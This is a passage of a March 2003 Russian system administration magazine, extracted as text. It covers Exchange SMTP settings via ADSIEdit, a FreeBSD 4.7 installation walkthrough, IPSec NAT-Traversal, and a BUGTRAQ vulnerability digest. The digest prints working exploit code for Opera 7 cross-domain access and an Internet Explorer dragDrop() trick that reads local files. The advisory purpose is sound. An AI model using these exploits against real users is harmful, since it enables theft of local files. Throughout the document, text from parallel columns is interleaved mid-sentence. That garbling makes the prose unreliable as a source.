 CN=Protocols, Microsoft Exchange/ <Your Organization>/ Administrative
 CN=SERVER, Groups/ <Your Administrative Group>/Servers/ <Your
 CN=Servers, Exchange Server>/Protocols/SMTP/ <Your Virtual Server
 CN=First Administrative Group, Number>.
 CN=Administrative Groups,  Щелкните правой кнопкой мыши по виртуальному
 CN=Organization, объекту сервера и затем нажмите Properties.
 CN=Microsoft Exchange,  Для Select a property to view: выберите msExchSmtp-
 CN=Services, InboundCommandSupportOptions.
 СN=Configuration,  В поле Edit Attribute: введите значение, которое вы хо-
 DC=domain, тите установить.
 DC=com.  Щелкните Set, Apply и затем OK.

Примите к сведению, что CN=1 – первый или задан- Выйдите из ADSIEdit. Может пройти некоторое вре-
ный по умолчанию SMTP Virtual Server, CN=SERVER – имя мя, прежде чем изменения вступят в силу, потому что
Exchange-cервера, CN=Organization – имя организации, требуется репликация Active Directory, прежде чем
DC=domain – имя Active Directory или DNS-домена. Exchange-сервер увидит измененное нами значение.
Даже перезагрузка Internet Information Server (IIS) не по-
может более быстрому изменению информации. Обра-
тите внимание: ADSIEDIT.exe – административный ин-
струмент, который поставляется с Windows 2000 Support
Tools, доступный на инсталляционном диске Windows
2000 в \Support\Tools каталоге. Обратите внимание:
если вы отключаете ESMTP-команды на Exchange 2000
сервере, это может затруднить подключение к другим
Обратите внимание, что вышеупомянутое значение Exchange 2000 серверам. Изменения могут затронуть
метабазы соответствует metabase ID number 36998. Эта нормальный почтовый поток между серверами.

№3(4), март 2003 11


УСТАНОВКА
FREEBSD
СЕРГЕЙ ЯРЕМЧУК
администрирование
Сейчас в качестве системы для ком- тат хорошей маркетинговой политики торых вопросах она коренным обра-
пьютера, используемого в качестве таких компаний, как AltLinux и ASPLinux, зом отличается, да и предназначен-
сервера, наиболее популярными явля- что и говорить, Linux уже стал хорошим ная для этого штатная программа
ются Windows, Linux и различные ва- продуктом, за который пользователи sysinstall отличается от инсталлято-
рианты BSD, в особенности FreeBSD. хотят отдавать свои кровные. К тому же ров Red Hat, поэтому для пользова-
Хотя на этом рынке и «засветилась» по сообщениям институтов, занимаю- теля Linux будет несколько непри-
MacOS в своей ягуаровой шкуре и щихся безопасностью, количество дыр вычна. Перед началом установки же-
различные варианты коммерческих в процентном соотношении: Windows – лательно иметь представление об ис-
Unix, но их доля существенно мала 44%, Linux – 22%, FreeBSD – 9%. С пер- пользуемом оборудовании. На боль-
по сравнению с ведущей троицей. вой, я думаю, все и так ясно. Вторая, шинство компьютеров, используе-
Если бы у меня спросили, какую ОС по моему мнению, пострадала именно мых в сфере малого и среднего биз-
из этой троицы я бы установил в ка- из-за своей популярности, практичес- неса, которые, как правило, скомпа-
честве сервера, я бы не задумыва- ки все проблемы замечены за после- нованы из самых распространенных
ясь ответил: FreeBSD. Почему? Ста- дний год. Если раньше релизы дистри- устройств, FreеBSD установится без
бильность серверов под управлени- бутивов выходили приблизительно два проблем. Но если у вас в составе
ем этой системы уже давно ни у кого раза в год, то в 2002 году все ведущие компьютера имеется что-то супер-
не вызывает сомнений. Одним из по- производители Linux буквально засыпа- современное, желательно предвари-
казателей надежности работы серве- ли нас ими, при этом в релизы включа- тельно свериться со списком на http:/
ра является uptime – время непре- лись новейшие версии ПО, не всегда /www.freebsd.org.ru/hardware/.
рывной бесперебойной работы. Так достаточно протестированные. К тому В дальнейшем будем для краткос-
вот, средний uptime системы под уп- же Linux старались максимально при- ти предполагать, что установка про-
равлением Windows приблизительно близить к рядовому пользователю, ко- изводится с загрузочного CD-ROM’a,
20 дней, Linux – 85 дней, а системы, торому ужимки в правах Unix-подоб- остальные отнесем к исключитель-
основанные на BSD, превосходят и ных систем не всегда нравятся, что в ным случаям. Этапов установки я бы
этот показатель (подробности на данном случае не должно сказаться по- выделил четыре:
http://uptime.netcraft.com/). Первые ложительно на безопасности. Не поду-  подготовка жесткого диска;
пятьдесят серверов в списке возглав- майте, что я против этой замечатель-  выбор пакетов;
ляют различные варианты BSD, у пос- ной системы, дома я пользуюсь только  собственно инсталляция;
леднего в этом списке среднее время ею, но факты есть факты.  послеинсталляционное конфигу-
непрерывной работы равнялось 780 Чтобы работать в системе, необ- рирование системы.
дням. Только в этом году количество ходимо первоначально ее устано-
серверов под управлением Linux пре- вить. Описанием чего, собственно го- Причем всегда можно будет вер-
высило таковых под управлением воря, и займемся в этой статье. Сама нуться к любому этапу, а конфигури-
FreeBSD, да и то с символическим от- по себе установка ненамного слож- рование вообще провести отдельно. Ус-
рывом в 1%, но это уже скорее резуль- нее, чем таковая в Linux. Но в неко- танавливать будем версию 4.7 – дос-

Рис. 1

№3(4), март 2003 13


администрирование

Рис. 2

Рис. 3
тупный последний релиз на момент на- В большинстве случаев достаточ- ции может также использоваться кла-
писания статьи. И хотя уже доступен но выбрать первый пункт, но если вы виша табуляции. Клавиша пробела ис-
предрелиз версии 5.0, особых отличий точно знаете, какое оборудование у пользуется для выбора пункта, где это
в программе установки там не встре- вас установлено, то, выбрав второй, необходимо. Кроме того, большую
тите. Итак, вставляем диск и перезапус- можно отключить ненужное. После часть опций можно выбрать посред-
каем машину. окончания загрузки появляется глав- ством выделенных букв. Для получения
После загрузки происходит тести- ное меню программы sysinstall (рис.1). дополнительной информации выбери-
рование имеющегося оборудования, Пользоваться мышью, работая с те пункт «Usage». К собственно инстал-
по окончании которого появляется sysinstall, нельзя, для навигации и вы- ляции относятся первые три пункта (не
предложение сконфигурировать ядро. бора здесь используется исключитель- считая Usage), а именно: Standart –
Здесь возможны три варианта: но клавиатура. Стрелками вверх/вниз отмечен как рекомендуемый; Express –
 пропустить конфигурацию (по осуществляется переход к предыдуще- для нетерпеливых: автоматическая раз-
умолчанию); му/следующему пункту меню, влево/ бивка и минимальный (базовый) набор
 конфигурация в визуальном режи- вправо переключают между варианта- утилит, и не обошлось без Custom –
ме; ми выбора внизу экрана, например по выборочной инсталляции. Я лично даже
 конфигурация ядра для экспертов. рисунку «Select» и «Exit», для навига- при установке «всенародной» системы

14
администрирование
всегда предпочитаю выборочный вари- гурационных файлов и просмотре до- делы, которых, к слову, не может быть
ант установки, ведь только при выборе кументации. Из редакторов в дистри- на диске больше четырех (теоретичес-
данного пункта можно полностью конт- бутиве доступны: ee (по-умолчанию), ки, кстати, это возможно, но вряд ли
ролировать все действия. Естественно, vi (выучить хотя бы пару команд для кто-то осмелится нарушить), в терми-
обладая некоторыми знаниями. Итак, работы с ним просто необходимо) или нологии FreеBSD именуются слайсами
решено, жмем на «Custom», после чего pico, emacs, только не забудьте затем «slices», а вот разделами «partition» ок-
появляется подменю, соответствующее установить его при выборе пакетов. рестили логические разделы, которые
шести этапам инсталляции (рис.2). Веб-браузер links, умеющий работать создаются непосредственно в слайсах.
В пункте меню «Options» (рис.3) на с таблицами и понимающий фреймы, К тому же разделы могут быть созда-
первоначальном этапе можно ничего советую оставить (в более ранних вер- ны внутри всех имеющихся слайсов,
не трогать, потом всегда можно будет сиях по умолчанию устанавливался lyx, здесь, в отличие от Windows, которая
переопределить значения после уста- который желательно изменить на вы- может самостоятельно загружаться
новки, воспользовавшись этим же пун- шеназванный). только с первичного раздела, никаких
ктом, интерес пока представляют оп- Следующий этап уже более ответ- ограничений нет. Если в системе не-
ции Editor, Browser package и Browser ственный. В пункте Partition создаются сколько жестких дисков, то вы увидите
Exec. Сразу хочу отметить: не выби- дисковые разделы. Вот здесь прячется меню (см. рис.4).
райте здесь приложения, работающие самое основное отличие от Linux. И IDE-диски в системе обозначаются
под X-Windows, иначе потом возникнут прежде всего это отличие касается тер- так: ad1 – первый «ведущий» физичес-
сложности при редактировании конфи- минологии. Первичные дисковые раз- кий диск в системе, ad2 – второй; это

Рис. 4

Рис. 5

№3(4), март 2003 15


администрирование

Рис. 6

Рис. 7
может быть либо slave на первом кон- этим вызывается редактор разделов как диски C, D и т. д. Здесь все доступ-
троллере, либо мастер на втором – в (Partition Editor, рис.5). Если будете ис- ные разделы монтируются в файловую
зависимости от того, как они установ- пользовать весь диск, а на сервере это систему, которая напоминает дерево и
лены и т. д. до ad3. Если в системе ус- скорее так и есть, то достаточно нажать пользователь даже может не знать (да
тановлены дополнительные контролле- А «Use Entire Disk» и программа разме- и не должен), на каком из разделов дис-
ры, в частности RAID, то нумерация стит слайс, который займет все свобод- ка находится файл, а они, к слову, спо-
дисков, подключенных к ним, начина- ное пространство. Если необходимо со- койно могут находиться вообще на дру-
ется с ad4. Более того, при включении здать несколько слайсов, нажмите С гом компьютере. Для пользователя при
режима RAID они начинают дополни- «Create slice», программа запросит тре- нормальном администрировании эта
тельно называться и ar0-ar3, так что, буемый объем, есть возможность вве- система остается прозрачной. Так вот,
возможно, вы увидите даже оба эти ва- сти его сразу в мегабайтах, поставив самый главный раздел называется кор-
рианта. Названия SCSI-дисков начина- букву м за цифрами (1000 м) или сразу невым и обозначается /. Следующий не-
ется с da, флоппи диска – fd0, а CD- изменив с помощью клавиши Z едини- обходимый для нормальной работы си-
ROM – acd. Дальше – больше. Каж- цы отображения (рис.6). Повторите эту стемы раздел называется swap. Пред-
дый слайс имеет свой порядковый но- же операцию для остальных жестких назначен он для расширения реальной
мер, который в обозначении предваря- дисков, присутствующих в системе. При оперативной памяти. В случае если ка-
ется буквой s: ad0s1, ad0s2 и т. д. А вот выходе из редактора разделов систе- кая-то страница долгое время не ис-
за разделами закреплена буква. При- ма спросит, куда установить загрузчик, пользуется, FreeBSD перемещает ее на
чем за некоторыми не какая-нибудь, а выбираем значение, указанное по жесткий диск, т.е. в раздел swap, осво-
вполне определенная. Так, корневой умолчанию, т.е. MBR (рис.7). бождая тем самым оперативную па-
раздел обозначается всегда буквой а Теперь переходим собственно к со- мять. Данный раздел желательно раз-
и, как вы понимаете, раздел, обозна- зданию разделов, для чего выбираем местить в самом начале жесткого дис-
ченный такой буквой, может быть толь- пункт Disk Label Editor. На этом этапе ка (доступ осуществляется быстрее), а
ко один. Буква b досталась разделу под- необходимо определиться с количе- если в системе их несколько, то равно-
качки, с обозначает весь слайс в целом. ством разделов и их размером. Здесь мерно распределить по ним. О разме-
Так вот, в этом пункте создаются имен- я позволю себе сделать небольшое от- ре могу сказать следующее. Когда цена
но слайсы и ничего более. ступление. Все дело в том, что во всех на память «кусалась», было распрост-
Выберите нужный диск и вслед за Unix-подобных системах нет понятия, ранено выбирать его равным двух- или

16
администрирование
трехкратным размеру имеющейся опе- равной 256 Мб, создавать раздел swap файловой системе в данный раздел за-
ративной памяти. При применении ком- большего размера вряд ли будет целе- пись осуществляется довольно редко.
пьютера под управлением FreeBSD в сообразно. Так вот, можно остановить- К тому же, если злоумышленник со-
качестве рабочей станции этот вариант ся и на двух вышеперечисленных раз- здаст файл в доступный для записи
скорее бы сгодился. Но активное ис- делах. Но, например, чтобы не повре- раздел (/home, /tmp), занимающий всё
пользование раздела swap на сервере дить корневой раздел во время сбоя си- свободное пространство, то система
сразу же говорит о том, что памяти явно стемы, желательно, чтобы он находил- попросту перестанет работать.
недостаточно и ее просто необходимо ся в разделе, имеющем атрибут «толь- Итак, необходимо создать как ми-
увеличить. А при памяти, большей или ко для чтения», в правильно созданной нимум еще два раздела /usr и /var, а

Рис. 8

Рис. 9

№3(4), март 2003 17


администрирование

Рис. 10
если предстоит обслуживать большое что все разделы, за исключением кор- ной файловой системе в корневой раз-
количество пользователей, то жела- невого, обозначены как UFS +S. Это дел запись практически не производит-
тельно поместить раздел /home (по показывает, что для данного раздела ся и необходимости в такой опции по-
умолчанию это символическая ссылка включена опция Soft Updates. Назначе- просту нет. После создания всех раз-
на каталог /usr/home) на отдельный раз- ние ее в следующем. Как известно, в делов нажмите кнопку Q для внесения
дел жесткого диска в целях безопасно- Linux для обеспечения более устойчи- изменений и, выходя из редактора, не
сти и вынести отдельно /tmp. А вот про вой работы системы, сокращения вре- используйте при этом опцию W, так как
размеры разделов однозначно сказать мени на перезагрузку и прочее в пос- она предназначена для внесения изме-
затрудняюсь. Если FreeBSD будет ис- леднее время используются журнали- нения в существующие разделы.
пользоваться как сервер печати, MAIL руемые файловые системы. Суть их та- Следующим этапом будет выбор
и веб-сервер, то здесь основное место кова: все действия до непосредствен- необходимых пакетов для установки.
будут занимать разделы /var и допол- ной записи на диск заносятся в журнал Для этого выбираем пункт «Choose
нительно /home в последнем случае. А и система после сбоя может проанали- Distributions» (рис.9). Если нет про-
для файл-сервера основным будет раз- зировать его и уже знает, где находят- блем с дисковым пространством,
дел /home, где пользователи будут раз- ся несогласованные сектора. Но в можно выбрать пункт «All», но для ус-
мещать свои файлы. FreeBSD не поддерживаются журна- тановки сервера, не требующего на-
Создаются разделы аналогично лируемые файловые системы. Вмес- личия X-Window, можно выбрать пункт
предыдущему пункту. Нажимаем С, то этого используется мягкое обнов- «Developer» или «Minimal»: в после-
программа установки спросит тип со- ление – Soft Updates, непосредственно днем случае может понадобиться до-
здаваемого раздела (swap или FS) и встроенное в ядро и не требующее ве- установить кое-что вручную (криптог-
точку монтирования, затем вводим не- дение отдельного журнала. Можно рафия, файлы совместимости с
обходимый размер раздела. Для инте- включить данную опцию и для корне- FreeBSD 3.x). И, конечно же, есть пункт
реса можете посмотреть, нажав клави- вого каталога: аргументы, приводимые «Custom» (рис.10), в котором можно
шу А, что программа предлагает по против, не кажутся убедительными, но, самостоятельно выбрать необходимые
умолчанию (рис.8). Обратите внимание, как я уже говорил, в правильно создан- пакеты. При этом осуществляется кон-

18
администрирование
троль зависимостей. При выборе про- грамм пройдет без проблем. Если есть тов переходим к следующему этапу ус-
граммы, если в какой-либо библиоте- необходимость в установке X-Window, тановки. Выбор источника инсталля-
ке или другой программе возникает не- то, начиная с версии 4.6, в состав вхо- ции (Choose Installation Media, рис.11).
обходимость, то она будет отмечена дит пакет XFree86 4.2.0, обеспечива- Здесь необходимо указать источник, с
буквой D. Поэтому желательно про- ющий работу с практически самыми которого будет производиться инстал-
смотреть все два раза, для того чтобы современными видеоадаптерами. ляция. До этого, кстати, все операции
быть уверенным, что установка про- После выбора необходимых паке- мы проделывали с виртуальной систе-

Рис. 11

Рис. 12

№3(4), март 2003 19


администрирование

Рис. 13

Рис. 14

20
администрирование

Рис. 15
мой, еще никаких изменений, включая Настроить клавиатуру и скринсейвер К тому же, если не планируется
изменения файловой системы, проде- можно в пунктах Repeat и Saver соот- использование X-Window, закоммен-
лано не было. Это последний рубеж, ветственно, а вот в Screenmap зада- тируйте строку:
перед которым еще можно отказать- ются карты соответствия клавиатур-
ся. Как мы уже договорились, устанав- ной раскладки экранным шрифтам. ttyv8 "/usr/X11R6/bin/xdm
-nodaemon" xterm off secure
ливать будем с CD-ROM, поэтому вы- Применительно к нашему случаю
бираем соответствующий пункт меню. это будет KOI8-К to IBM866. В назна-
Вот после этого действительно начи- чении пунктов Media и Time Zone, я ду- она вряд ли вам пригодится. А если
нается создание слайсов, разбиение маю, разберетесь сами. А вот в Mouse наоборот, то можно сэкономить на
их на разделы и создание на них фай- настраивается служба консольной каждом терминале приблизительно
ловых систем. После чего следует соб- мыши. Сначала ее необходимо вклю- по 500 Кб оперативной памяти, убрав
ственно установка выбранных компо- чить в соответствующем пункте – (закомментировав) лишние, т.е. оста-
нентов дистрибутива. Enable, в Type выбираем ее тип (здесь вив один-два.
После окончания процесса присту- в большинстве подойдет значение И остался последний момент: на-
паем к следующему этапу, а именно к Auto) и тип интерфейса в Port (PS/2 или стройка X-Window (если конечно это
конфигурированию свежеустановлен- COM-порт), а в Flag можно добавить необходимо). Причем программа sys-
ной системы. Для чего обращаемся к эмуляцию третьей кнопки при отсут- install позволяет произвести это не-
пункту «Configure» (рис.12). Как мож- ствии таковой (-3) или увеличить ско- сколькими способами (рис.14): в гра-
но заметить, с некоторыми пунктами рость перемещения (-r high). фическом режиме, с помощью меню и
мы уже встречались – это пункты Не будем пока трогать настройку в текстовом, отвечая на каверзные
Distributions, Packages, Fdisk и Label. сетевых соединений в пункте вопросы программы. Первоначально
Далее переходим к выбору пароля су- Networking – их доводкой займемся выбирается мышь, чтобы ей можно
перпользователя – Root Password. При как-нибудь в следующий раз, так как было пользоваться в дальнейшем:
необходимости в следующем пункте здесь можно настроить лишь общие здесь в большинстве случаев доста-
можно создать необходимые учетные параметры сетевого соединения. точно выбрать Auto и устройство /dev/
записи пользователей, но данный ин- В пунктах Security и Startup выби- sysmouse. На вопросы о характерис-
струмент, по-моему, удобен лишь при раются уровень защищенности систе- тиках монитора и его марке отвечайте
наличии небольшого их числа; при мы и сервисы, запускаемые при стар- честно, иначе может случиться непоп-
большом количестве лучше редакти- те. При выборе пункта TTYs вызыва- равимое. По окончанию настройки вас
ровать файлы напрямую или написать ется на редактирование файл /etc/ttys. попросят выбрать оконный менеджер,
скрипт для этого. В пункте меню Для русификации консоли необходи- загружаемый по умолчанию (рис.15).
Console необходимо установить мо заменить значение cons25 на Теперь после выхода из программы
шрифт (Font) для вывода на экран кон- cons25r, т.е. привести все строки к та- sysinstall система перезагрузится.
соли, в кириллической кодировке ис- кому виду: В результате мы получили полно-
пользуется IBM866. А в Keymap для стью работоспособную систему с не-
раскладки клавиатуры выбираем род- ttyv1 "/usr/libexec/getty Pc" обходимым первоначальным миниму-
cons25r on secure
ной для Unix-систем KOI8-R (рис.13). мом. Но впереди еще много работы.

№3(4), март 2003 21


администрирование

IPSEC ЧЕРЕЗ NAT:


ПРОБЛЕМЫ И
РЕШЕНИЯ

ТАТЬЯНА АНТИПОВА

22
администрирование
Исторически одной из проблем с раз- вания для Quick Mode и Main Mode. число, шанс использования одинако-
вертыванием Layer Two Tunneling Обратите внимание!!! IPSec NAT-T вых значений SPI между нескольки-
Protocol с Internet Protocol security определен только для ESP-трафика. ми частными сетевыми клиентами
(L2TP/IPSec) является то, что IPSec- крайне низок. Проблема состоит в
узлы не могут быть расположены по- Проблемы, связанные том, что трудно определить, какое
зади Network Address Translator с использованием IPSec исходящее SPI-значение соответ-
(NAT). NAT чаще всего используется через NAT ствует прибывающему SPI-значению.
в корпоративных сетях, чтобы выхо- Ниже представлены проблемы ис- NATs не может отображать SPI,
дить в Интернет с единственного IP- пользования IPSec через NAT: потому что ESP-трейлер содержит
адреса, тем самым эффективнее ис-  NAT не может модифицировать код идентификации сообщения, раз-
пользуя ограниченное адресное про- контрольные суммы верхнего бавленный цифровым мусором
странство IP-адресов. Однако NAT уровня. (hashed message authentication code,
имеет проблемы с использованием TCP- и UDP-заголовки содержат HMAC), который проверяет целост-
сквозных протоколов типа IPSec. контрольную сумму, которая рассчи- ность модуля данных ESP-протоко-
Новая технология, известная как тывается из значения IP-адреса ис- ла (ESP protocol data unit, PDU), со-
IPSec NAT Traversal (NAT-T), находит- точника и адресата и номера портов. стоящего из ESP-заголовка, ESP-
ся в процессе стандартизации в IPSec Когда NAT изменяет IP-адрес и/или данных и ESP-трейлера, если SPI
Working Group. IPSec NAT-T описан в номер порта в пакете, он обычно мо- будет изменен, то недействитель-
Internet drafts под названием «UDP дифицирует TCP- или UDP- конт- ным окажется HMAC-значение.
Encapsulation of IPSec Packets» (draft- рольную сумму. Когда же TCP- или  IKE-UDP-номер порта не может
ietf-ipsec-udp-encaps-02.txt) и «Nego- UDP- контрольная сумма зашифро- быть изменен.
tiation of NAT-Traversal in the IKE» (draft- вана в ESP, она не может быть мо-
ietf-ipsec-nat-t-ike-02.txt). IPSec NAT-T дифицирована. Поскольку NAT из- Некоторые выполнения IPSec ис-
поддерживает различные методы пе- меняет адреса или порты, то обыч- пользует 500 UDP-порт как UDP-но-
редачи IPSec-защищенных данных. но происходят сбои проверки конт- мер порта источника и адресата.
В процессе установления IPSec- рольной суммы в адресате. Однако для IPSec-узла, расположен-
подключения, IPSec NAT-T-узлы авто-  NAT не может мультиплексировать ного позади NAT, NAT изменяет ис-
матически определяют: IPSec-потоки данных. ходный адрес начального IKE-Main-
 Может ли инициализированный Mode-пакета. В зависимости от вы-
IPSec-узел (как правило, компь- ESP-защищенный IPSec-трафик не полнения, IKE-трафик от другого
ютер клиента) и запрашиваемый содержит видимого TCP-или UDP- порта, кроме 500, будет отвергнут.
IPSec-узел (обычно сервер), ис- заголовка. ESP-заголовок располо-  Возможны проблемы NAT – тайм-
пользовать IPSec NAT-T. жен между IP-заголовком и зашиф- аут отображения IKE-UDP-порта.
 Есть ли в пути между этими узла- рованным TCP- или UDP-заголов-
ми NAT. ком, и использует 50 IP-протокол. UDP-отображения в NAT часто уда-
Из-за этого не может использовать- ляются очень быстро. Инициатор
Если оба эти условия выполняют- ся TCP- или UDP-номер порта, что- IKE-трафика создает отображение
ся, то узлы автоматически использу- бы мультиплексировать трафик к UDP-порта в NAT, который исполь-
ют IPSec NAT-T, чтобы посылать IPSec- различным хостам в частной сети. зуется для продолжительных на-
защищенный трафик через NAT. Если ESP-заголовок содержит поле, на- чальных Main-Mode- и Quick-Mode-
хотя бы один узел не поддерживает зываемое Security Parameters Index IKE-согласований. Однако если рес-
IPSec NAT-T или в пути между узла- (SPI). SPI используется вместе с IP- пондент позже посылает IKE-сооб-
ми нет NAT, то выполняется обычная адресом адресата в открытом IP-за- щения инициатору, и не присутству-
стандартная IPSec-защита. головке и IPSec security protocol ет отображение UDP-порта, то такое
IPSec NAT-T поддерживается (ESP или AH) идентифицирует IPSec сообщение будет отвергнуто.
Microsoft L2TP/IPSec VPN Client, ко- security association (SA).  Идентификационные IKE-данные
торый доступен для бесплатной заг- Для входящего NAT-трафика, IP- содержат внедренный IP-адрес.
рузки, позволяя компьютерам с си- адрес адресата должен быть отобра-
стемами Windows 98, Me и NT 4.0 со- жен к частному IP-адресу. Для мно- Для Main Mode и Quick Mode согла-
здавать L2TP/IPSec подключения. жественных IPSec-узлов в частной сований каждый IPSec-узел посыла-
IPSec NAT-T будет включен в NAT-сети, IP-адрес адресата прибы- ет идентификационные IKE-данные,
Windows .NET Server и поддержива- вающего трафика для нескольких которые включают внедренный IP-
ется многими VPN-серверами. IPSec-ESP-потоков данных – один и адрес для посылаемого узла. По-
В этой статье мы исследуем про- тот же адрес. Чтобы отличать один скольку исходный адрес посылаемо-
блемы, связанные с использовани- IPSec-ESP-поток данных от другого, го узла был изменен NAT, внедрен-
ем IPSec через NAT, расскажем о IP-адрес адресата и SPI должны или ный адрес не соответствует IP-адре-
способе решения проблем в IPSec быть прослежены, или отображены су IKE-пакета. IPSec-узел, который
NAT-T и закончим изменениями в к частному IP-адресу адресата и SPI. проверяет правильность IP-адреса,
Internet Key Exchange (IKE) согласо- Поскольку SPI – 32-разрядное отвергнет идентификационные IKE-

№3(4), март 2003 23


администрирование
данные и откажется от дальнейших
IKE-согласований.

Краткий обзор NAT-T


изменений на IPSec
Ниже представлены изменения IPSec
для NAT-T:
 Инкапсулирование UDP-пакета
для ESP.
UDP-заголовок помещен между вне-
шним IP-заголовком и ESP-заголов-
ком, инкапсулируя ESP PDU. Те же
самые порты, которые используют-
ся для IKE, используются для UDP
инкапсулированного ESP-трафика.
 Изменяемый формат IKE-заголовка.

IPSec NAT-T IKE-заголовок содер-


жит новое поле Non-ESP Marker, ко-
торое позволяет получателю разли-
чать UDP-инкапсулированное ESP
PDU и IKE-сообщение. IPSec NAT-T
узлы начинают использовать новый Эти два новых режима инкапсулиро- совании. Принимая, что существует
IKE-заголовок после того, как они вания определены в течение Quick не менее одного NAT между этими
решили, что присутствует промежу- Mode согласования, чтобы сообщить двумя узлами, окончательные Quick-
точное NAT-звено. IPSec-узлу, что должно использо- Mode-согласования показаны в следу-
 Новый NAT-Keepalive. ваться инкапсулирование UDP-паке- ющей таблице.
та для ESP PDU. В конце Quick-Mode-переговоров
UDP-сообщение, которое использу-  Новый NAT-Original Address (NAT- оба IPSec-узла знают первоначаль-
ет те же самые порты, что и IKE-тра- OA) IKE. ный адрес друг друга, посылают по
фик, содержит один байт (0xFF), ис- мере необходимости NAT-Keepalive
пользуемый для обновления отобра- NAT-Original Address (NAT-OA) IKE пакеты, и используют UDP-инкапсу-
жения UDP-порта в NAT для IKE и содержит непереведенный адрес лирование для ESP PDU.
UDP-инкапсулированного ESP-тра- IPSec-узла. Для UDP-инкапсулиро-
фика к частному сетевому хосту. ванного ESP транспортного режима Для получения дополнительной
 Новый Vendor ID IKE. каждый узел посылает NAT-OA IKE информации:
в течение Quick-Mode-согласования.  IKE Negotiation for IPSec Security
Vendor ID IKE содержит известное Получатель хранит этот адрес в па- Associations;
значение хеш-функции, которое ука- раметрах для SA.  Windows 2000 Network Address
зывает, что узел способен выполнять Translator (NAT);
IPSec NAT-T. Пример IKE-согласования  Windows 2000 IPSec Web site;
 Новый NAT-Discovery (NAT-D) IKE. для Main Mode и SA  IP Security Protocol Working Group;
Quick Mode, используя  Microsoft L2TP/IPSec VPN Client.
NAT-Discovery (NAT-D) IKE содержит IPSec NAT-T
значение хеш-функции, которое вклю- Добавление новых NAT-D- и NAT-
чает номер порта и адрес. Узел IPSec OA-значений и UDP-туннельных ти-
включает два NAT-Discovery в течение пов изменяет Main-Mode- и Quick-
Main-Mode-согласования – один для Mode-IKE-согласования. Следующая
адреса назначения и порта и один для таблица показывает использование
исходного адреса и порта. Получатель Vendor-ID и NAT-D IKE в течение
использует NAT-Discovery, чтобы об- Quick-Mode-согласования для Win-
наружить, транслирован ли адрес или dows основанного IPSec-узла, ис-
номер порта, и, основываясь на изме- пользующего Kerberos идентифика-
ненном адресе и порте, определять, цию. Жирным шрифтом выделены
какие узлы расположены позади NAT. особенности NAT-T.
 Новые режимы инкапсулирования Если оба узла – IPSec NAT-T, и
для UDP-инкапсулированного ESP присутствует не менее одного NAT
транспортирного режима и тун- между ними, они используют IPSec-
нельного режима. NAT-T-варианты в Quick-Mode-согла-

24
BUGTRAQ
Множественные уязвимости в Opera 7.0 Доступ к произвольным файлам
Все браузеры с поддержкой JavaScript включают модель на системе пользователя
безопасности, которая предотвращает доступ одного до- в Microsoft Internet Explorer
мена к документам другого домена. Уязвимость обнаружена в Microsoft Internet Explorer. Уда-
Opera 7 включает новый подход к осуществлению меж- ленный пользователь может создать злонамеренный код,
доменной защиты – «caller-based» модель, в отличие от который произведет перетаскивание произвольного HTML.
«origin-based» модели, используемой в других браузерах. Уязвимость обнаружена в dragDrop()-методе. Соглас-
Уязвимость связана с тремя различными недостатками в но сообщению, удаленный пользователь может создать
этой модели: злонамеренный HMTL-код, который заставит пользовате-
 Можно обратиться и выполнить функции в другом до- ля загрузить произвольный текст в HTML upload управле-
мене. ние. В результате удаленный пользователь может читать
 Функции выполняются с мандатами вызывающего до- произвольные файлы на системе пользователя. Пример:
мена, а не основного домена.
 Возможно отменить свойства и методы в других окнах. <head>
<script language="javascript">

Первый недостаток означает, что окно в одном домене function handleOnmousedown() {


способно выполнить функции в окне, которое находится в top.moveBy(1,0)
другом домене. Этот недостаток сам по себе небольшая document.all.target.style.left = 10;
window.setTimeout("top.moveBy(-1,0)", 5);
угроза из-за второго недостатка, который означает, что document.all.source.dragDrop();
даже если функция выполнена в окне жертвы, она будет }
выполнена с опознавательными мандатами атакующего, function handleDragstart() {
и поэтому неспособна обратиться к документу жертвы.
window.event.dataTransfer.setData("text", "c:\\jelmer.txt")
Второй недостаток означает, что если атакующий мо- }
жет заставить жертву выполнять функцию, она выполнится
</script>
с опознавательными мандатами жертвы. И из-за первого <style>
недостатка жертва не будет иметь проблем, обращаясь к .fakelink { color: Blue; cursor: hand; text-decoration:
underline; }
злонамеренной функции, созданной атакующим. #target {position: absolute; left: -300px; z-index: 1;}
Третья, и самая опасная уязвимость означает, что ата- </style>
кующий может подменить методы в окне жертвы собствен- </head>
ным кодом. <body>
<span id="source" class="fakelink" onmousedown="handle-
Используя комбинацию этих трех уязвимостей, атаку- Onmousedown()"
ющий может выполнять практически любые действия на ondragstart="handleDragstart()">Click me</span>
<input id="target" type="file">
файловой системе пользователя, включая просмотр лю- </body>
бых файлов, просмотр содержания директорий, чтение по-
чтовых сообщений, написанных или отправленных почто-
вой программой Opera – M2, и выполнять другие злона- Демонстрационный эксплоит можно посмотреть здесь:
меренные действия. Пример эксплоита: http://kuperus.xs4all.nl/security/ie/xfiles.htm.
Уязвимость проверена в IE 6 sp1 + все исправления.
<script language="jscript">
var oWin=open("file://localhost/console.html","","");
oWin.setInterval=function () { Sun Java Secure Socket Extension (JSSE)
alert("Access to local resource achieved:"
+oWin.document.location.href);
может некорректно утверждать
} сертификаты веб-сайтов
</script> Уязвимость проверки сертификатов обнаружена в Sun’s
Java Secure Socket Extension (JSSE). Уязвимы также Java
DoS против Posadis DNS server Plug-In и Java Web Start. Программное обеспечение может
Posadis DNS server – простой DNS-сервер, разработан- некорректно подтверждать подлинность веб-сайтов или
ный для Win32 и Linux, который поддержит администри- JAR-файлов. Sun сообщил, что JSSE может неправильно
рование через веб-интерфейс. проверять правильность цифрового сертификата сайта. В
Обнаруженная уязвимость позволяет удаленному результате злонамеренный сайт может быть заверен для
пользователю аварийно завершить работу DNS-сервера. SSL-транзакций. Согласно Sun, если SSLContext инициа-
Сообщается, что программное обеспечение должным об- лизирован с использованием функции SSLContext.init() с не-
разом не проверяет, содержит ли удаленное DNS-сообще- зависимым образцом X509TrustManager выполнения, JSSE
ние раздел «question». Из-за этого можно заставить Posadis неправильно вызовет метод isClientTrusted() для опреде-
читать из NULL местоположения памяти. Удаленный атаку- ления доверенного сертификата. Также сообщается, что
ющий может послать специально сформированное DNS- Java Plug-in и Java web Start могут некорректно удтверж-
сообщение, которое приведет к аварийному завершению дать цифровые сертификаты подписанных JAR-файлов. В
работы сервера. Неизвестно, может ли уязвимость исполь- результате злонамеренный код может подтвердить подлин-
зоваться для выполнения произвольного кода. Уязвимость ность как доверенный код. Уязвимость обнаружена в JSSE
обнаружена в Posadis DNS Server 0.50.х – 0.50.8. 1.0.3 or earlier; also JSSE in SDK and JRE 1.4.0_01.

№3(4), март 2003 25


администрирование

